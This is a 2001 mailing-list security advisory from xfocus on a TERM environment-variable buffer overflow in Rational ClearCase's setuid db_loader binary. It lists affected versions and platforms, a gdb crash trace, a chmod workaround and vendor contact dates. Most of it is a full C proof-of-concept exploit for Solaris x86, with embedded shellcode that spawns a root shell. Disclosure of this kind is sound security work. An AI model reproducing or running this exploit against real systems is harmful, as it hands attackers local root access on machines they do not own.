ClearCase db_loader TERM environment variable buffer overflow vulnerability

From: xundi (xundiat_private)
Date: Thu Nov 08 2001 - 19:41:33 PST

  • Next message: bugzillaat_private: "[RHSA-2001:147-09] remote exploit possible in lpd"

    --------------------------------------------------------------------------- 
    ClearCase db_loader TERM environment variable buffer overflow vulnerability 
    --------------------------------------------------------------------------- 
    
    Release infomation 
    ------------------ 
    
    Found   Date: 2001-10-02 
    Release Date: 2001-11-01 
    Author: virtualcatat_private 
    Homepage: http://xfocus.org 
    
    
    Description 
    ----------- 
    
    Rational ClearCase is the market-leading software configuration management solution that simplifies the process of change. To software teams of all sizes, it offers tools and processes you can implement today and tailor as you grow. There is a buffer overflow in ClearCase db_loader binary when it read TERM environment variable that can be used by local users to obtain root privilege. 
    
    
    Version and Platform 
    -------------------- 
    
    Affected  Version: ClearCase 3.2+, 4.0, 4.1, 4.2 
    Affected Platform: Linux, Solaris sparc, Solaris x86, AIX, HP, Digital, IRIX, SCO etc. 
    
    
    Details 
    ------- 
    
    $ TERM=`perl -e 'print "A"x550'` 
    $ export TERM 
    $ /usr/atria/etc/db_loader 
    Bus Error 
    $ gdb db_loader core -q 
    (no debugging symbols found)...Core was generated by `./db_loader'. 
    Cannot access memory at address 0xffffffffff3e1b80 
    #0  0xf0db8 in imsg_fputs () 
    (gdb) bt 
    #0  0xf0db8 in imsg_fputs () 
    Cannot access memory at address 0x41414179 
    (gdb) i reg 
    g0             0x0      0 
    g1             0x7b000  503808 
    g2             0x13cf84 1298308 
    g3             0x0      0 
    g4             0xf6c2c  1010732 
    g5             0x0      0 
    g6             0x0      0 
    g7             0x143d58 1326424 
    o0             0xffffffff       -1 
    o1             0x1      1 
    o2             0xffbef054       -4263852 
    o3             0xf0c3c  986172 
    o4             0xffbeed8a       -4264566 
    o5             0xffffffff       -1 
    sp             0xffbeef70       -4264080 
    o7             0xf0db0  986544 
    l0             0x41414141       1094795585 
    l1             0x41414141       1094795585 
    l2             0x41414141       1094795585 
    l3             0x41414141       1094795585 
    l4             0x41414141       1094795585 
    l5             0x41414141       1094795585 
    l6             0x41414141       1094795585 
    l7             0x41414141       1094795585 
    i0             0x41414141       1094795585 
    i1             0x41414141       1094795585 
    i2             0x41414141       1094795585 
    i3             0x41414141       1094795585 
    i4             0x41414141       1094795585 
    i5             0x41414141       1094795585 
    fp             0x41414141       1094795585 
    i7             0x41414141       1094795585 
    y              0x0      0 
    psr            0xfe801007       -25161721       icc:N---, pil:0, s:0, ps:0, et:0, cwp:7 
    wim            0x0      0 
    tbr            0x0      0 
    pc             0xf0db8  986552 
    npc            0xf0dbc  986556 
    fpsr           0x0      0       rd:N, tem:0, ns:0, ver:0, ftt:0, qne:0, fcc:=, aexc:0, cexc:0 
    cpsr           0x0      0 
    (gdb) 
    
    Successfully exploit of this vulnerability would give an attacker root privilege. 
    
    
    Prove-Of-Concept exploit code 
    ----------------------------- 
    
    a. ClearCase_x86exp.c 
    
    /* Rational ClearCase TERM environment variable buffer overflow exploit 
    *  test it again solaris x86 7, bug found by virtualcatat_private 
    *  xploit by xundiat_private 
    *  website: http://xfocus.org 
    */ 
    
    #include <fcntl.h> 
    #include <unistd.h> 
    #include <stdlib.h> 
    
    #define    RET_DIS            550 
    #define    NOP            0x90 
    #define    NNOP            512 
    
    #define    ENV_VAR            "TERM" 
    
    #define    USER_UPPER_MAGIC    0x08047fff 
    
    /* Shell code taken from Pablo Sor's "mailx -F" exploit code    */ 
    char shellCode[] = 
        "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4" 
        "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf" 
        "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff" 
        "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53" 
        "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f" 
        "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff"; 
    
    
    int get_esp() 
    { 
        __asm__("mov %esp,%eax"); 
    } 
    
    int  getEnvAddr(const char* envPtr) 
    { 
        int    envAddr = NULL; 
        int    retCode = 0; 
    
        char* charPtr = (char *) get_esp(); 
    
        /* Search for the starting address of the environment string for    */ 
        /* the specified environment variable                    */ 
        while((unsigned int)  charPtr < (unsigned int) USER_UPPER_MAGIC) 
        { 
            retCode = memcmp((unsigned char *) charPtr++, envPtr, 4); 
            /* Found */ 
            if(retCode == 0) 
            { 
                envAddr = (int) (charPtr - 1); 
                break; 
            } 
        } 
    
        return envAddr; 
    } 
    
    int main(int argc, char** argv) 
    { 
    
        char    buff[256] = {0}; 
    
        int*    intPtr = NULL; 
        char*    buffPtr = NULL; 
        char*    charPtr = NULL; 
    
        int    retAddr = 0; 
        int    retValue = 0; 
    
    
        int    buffLen = 0; 
        int    adjustment = 0; 
        int    strLen = 0; 
        int    alignment = 0; 
        int    diff = 0; 
        int    i; 
    
        int shellCodeLen = strlen(shellCode); 
    
        if(argc == 2) 
        { 
            adjustment = atoi(argv[1]); 
        } 
    
        buffLen = strlen(ENV_VAR) + RET_DIS + NNOP + shellCodeLen + 1; 
    
        charPtr = getenv(ENV_VAR); 
    
        /* Adjust the stupid alignment    */ 
        strLen = strlen(charPtr) + 1; 
        alignment = strLen % 4; 
        if(alignment != 0) 
        { 
            alignment = 4 - alignment; 
            strLen += alignment; 
        } 
    
        alignment = buffLen % 4; 
        if(alignment != 0) 
        { 
            alignment = 4 - alignment; 
            buffLen += alignment; 
        }     
    
        retValue = getEnvAddr(ENV_VAR); 
         
        diff = buffLen - strLen; 
    
        retAddr = retValue - diff + strlen(ENV_VAR) + 1; 
    
        alignment = retAddr % 4; 
    
        if(alignment != 0) 
        { 
            alignment = 4 - alignment; 
        } 
        retAddr += RET_DIS + alignment +  adjustment; 
    
        /* Allocate memory for the evil buffer    */ 
        buffPtr = (char *) malloc(buffLen); 
    
        if(buffPtr != NULL) 
        { 
    
            strcpy(buffPtr, ENV_VAR); 
            strcat(buffPtr, "="); 
            charPtr = (char *) (buffPtr + strlen(buffPtr));     
             
            /* Fill the rest of the buffer with 'A'     */ 
            memset(charPtr, 0x41, buffLen - strlen(buffPtr)-4); 
    
            /* Butt in the return address            */ 
            intPtr = (int *) (charPtr + RET_DIS); 
            *intPtr++ = retAddr; 
    
            /* Make sure the NOPs are located word aligned     */ 
            charPtr = (char *) intPtr; 
            charPtr += alignment; 
    
            for(i=0; i<NNOP; i++) 
            { 
                *charPtr++ = NOP; 
            } 
    
            for(i=0; i<shellCodeLen; i++) 
            { 
                *charPtr++ = shellCode[i]; 
            } 
            *charPtr = 0; 
    
            putenv(buffPtr); 
    
            printf("Jumping to 0x%.8x\n", retAddr); 
    
            execl("/usr/atria/etc/db_loader", "xfocus", NULL); 
        } 
        else 
        { 
            printf("No more free memory!"); 
        } 
    } 
    
    /*..Thanks for all xfocus members.. especially virtualcat*/   
    
    
    Workaround 
    ---------- 
    
    # chmod a-s /usr/atria/etc/db_loader 
    
    
    Vendor information 
    ------------------ 
    
    Vendor was informed at 2001-08-22 
    Vendor Homepage: http://www.rational.com 
    
    
    About xfocus 
    ------------ 
    
    Xfocus is a non-profit and free technology organization which was founded in 1998 in China. We are devoting to research and demonstration of weaknesses related to network services and communication security. 
    
    Copyright 2001 http://xfocus.org, All rights reserved. 
    
    
    Regards
                xundi
                xundiat_private
    



    This archive was generated by hypermail 2b30 : Thu Nov 08 2001 - 23:05:09 PST